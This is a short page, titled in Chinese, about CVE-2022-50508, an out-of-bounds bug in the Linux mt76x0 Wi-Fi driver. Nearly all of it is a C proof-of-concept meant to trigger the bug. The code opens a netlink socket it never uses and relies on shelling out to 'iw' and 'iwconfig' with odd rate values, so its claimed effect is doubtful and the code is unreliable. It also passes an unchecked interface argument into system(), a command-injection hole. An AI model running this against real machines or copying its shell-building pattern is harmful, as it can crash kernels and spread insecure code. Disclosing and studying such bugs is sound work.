CVE-2022-50508 Linux内核mt76x0驱动越界访问漏洞

// CVE-2022-50508 PoC - Trigger OOB access in mt76x0_phy_get_target_power // This PoC demonstrates how to trigger the out-of-bounds access vulnerability // in the mt76x0 wireless driver by configuring VHT rates that cause // incorrect array indexing in mt76x0_phy_get_target_power. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/nl80211.h> // Trigger the vulnerable code path by setting VHT MCS rates // that cause out-of-bounds array access in mt76x0_phy_get_target_power int trigger_oob_access(const char *interface) { int sock; struct sockaddr_nl addr; char buf[4096]; struct nlmsghdr *nlh; struct nlattr *attr; int ret; // Create netlink socket for nl80211 communication sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // Configure VHT capabilities to trigger the vulnerable path // The mt76x0_phy_get_target_power function will be called // when processing VHT rate power information printf("Triggering OOB access on interface: %s\n", interface); printf("Setting VHT MCS rates that cause array index out of bounds...\n"); // Use iw commands to trigger the vulnerability char cmd[256]; snprintf(cmd, sizeof(cmd), "iw dev %s set bitrates vht-mcs-5 9", interface); ret = system(cmd); if (ret != 0) { // Alternative: use iwconfig to trigger snprintf(cmd, sizeof(cmd), "iwconfig %s rate 540M", interface); ret = system(cmd); } close(sock); return ret; } int main(int argc, char *argv[]) { const char *interface = (argc > 1) ? argv[1] : "wlan0"; printf("CVE-2022-50508 PoC\n"); printf("mt76x0 OOB Access in mt76x0_phy_get_target_power\n\n"); if (getuid() != 0) { printf("Warning: Running as non-root. May need root privileges.\n"); } return trigger_oob_access(interface); }